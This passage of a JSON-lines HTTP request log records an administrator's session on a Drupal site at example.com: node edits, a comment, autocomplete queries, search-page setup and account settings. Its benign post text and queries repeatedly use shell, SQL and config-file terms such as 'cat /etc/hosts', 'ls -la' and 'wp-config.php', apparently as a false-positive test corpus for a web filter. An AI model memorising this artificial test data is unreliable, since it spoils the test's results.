"title%5B0%5D%5Bvalue%5D=About+.htaccess+files&changed=1794214659&form_build_id=form-LaoMm59z_hyaytPZGp-adyYwJZGmbXRc7440YWGi8Do&form_token=H47HAbieKRgy6mosBoIwM8QZMBUCGpYRpFnf7HpzKDg&form_id=node_page_form&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=%3Cp%3EPlain+words+about+.htaccess+and+wp-config.php.%3C%2Fp%3E&body%5B0%5D%5Bformat%5D=basic_html&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=08%3A57%3A39&status%5Bvalue%5D=1&op=Save"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/2", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D2%3Achanged%3D1794214661%26langcode%3Den&tokens%5B%5D=9yhNCr_Hp4HSQvBSBYBWNCSG8ryM0kTuFsj7JELWqS0"}
|
||||
{"method": "POST", "target": "/node/1/edit", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfBvrh6e5Bo80VnMG", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1/edit", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214658\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-YOV6ivVNUPhhYH59NVKyp3pCw7S5FRZ-MpqVk7Tekkw\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nRtIgLequzuSUKJ0eJYfweZtDlUU-P2Qm0dliQmbROBI\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_edit_form\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" width=\"1\" height=\"1\"> Edited with SELECT rows FROM table.</p>\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3 (1), powershell (2), docker-compose.yml (3)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG--\r\n"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/medium/public/2026-11/python3-diagram.png.avif?itok=ytQ2uihe", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-rUcrz45wKTlwScU2KPvW4Uh-elT8_0ep1yDKub-fR9o&form_token=cLurkaLTS5RG_R8Vt9iKrHp5kETeTXRUPCXJRxJLz48&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+question&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+ls+-la+work+under+powershell%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-vhMpEh9d_WRMwXQqxQWWiugdMAZ9cRfVnudOBsxwQNo&form_token=CXyUg6iH9UxK0n9bFsPllZanXhtbFSoc6km1jtSxrh4&form_id=user_logout_confirm&op=Log+out"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
|
||||
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=node_search&op=Add+search+page&form_build_id=form-h9TNUOku6qlPzCQIfLOM6VobwiD7LjgYKi4l8e6-n8I&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
|
||||
{"method": "GET", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/node_search", "Cookie: SESSexample=example-session-value"], "body": "label=ContentContent&id=content&path=node&form_build_id=form-WUJFS4YPNPKnEeJoXCUT_dOzqiNC1753LO8pTBEuVRw&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
|
||||
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=user_search&op=Add+search+page&entities%5Bcontent%5D%5Bweight%5D=-10&form_build_id=form-zkfBqVKODA5_wbOFsX_3NFPhSC_gnINh2M7rHYmFSwQ&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
|
||||
{"method": "GET", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/user_search", "Cookie: SESSexample=example-session-value"], "body": "label=UsersUsers&id=users&path=user&form_build_id=form-qdd4t_ZEijkL16Cm3Mjpt4ADl-oOomMwZAbvMbuCL84&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
|
||||
{"method": "GET", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/people/accounts", "Cookie: SESSexample=example-session-value"], "body": "anonymous=Anonymous&user_register=visitors&user_email_verification=1&user_password_strength=1&user_cancel_method=user_cancel_block&mail_notification_address=&user_mail_register_admin_created_subject=An+administrator+created+an+account+for+you+at+%5Bsite%3Aname%5D&user_mail_register_admin_created_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AA+site+administrator+at+%5Bsite%3Aname%5D+has+created+an+account+for+you.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_register_pending_approval_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&user_mail_register_pending_approval_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+Your+application+for+an+account+is+currently+pending+approval.+Once+it+has+been+approved%2C+you+will+receive+another+email+containing+information+about+how+to+log+in%2C+set+your+password%2C+and+other+details.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team®ister_pending_approval_admin_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29®ister_pending_approval_admin_body=%5Buser%3Adisplay-name%5D+has+applied+for+an+account.%0D%0A%0D%0A%5Buser%3Aedit-url%5D&user_mail_register_no_approval_required_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_register_no_approval_required_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_activated_notify=1&user_mail_status_activated_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28approved%29&user_mail_status_activated_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+at+%5Bsite%3Aname%5D+has+been+activated.%0D%0A%0D%0AYou+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%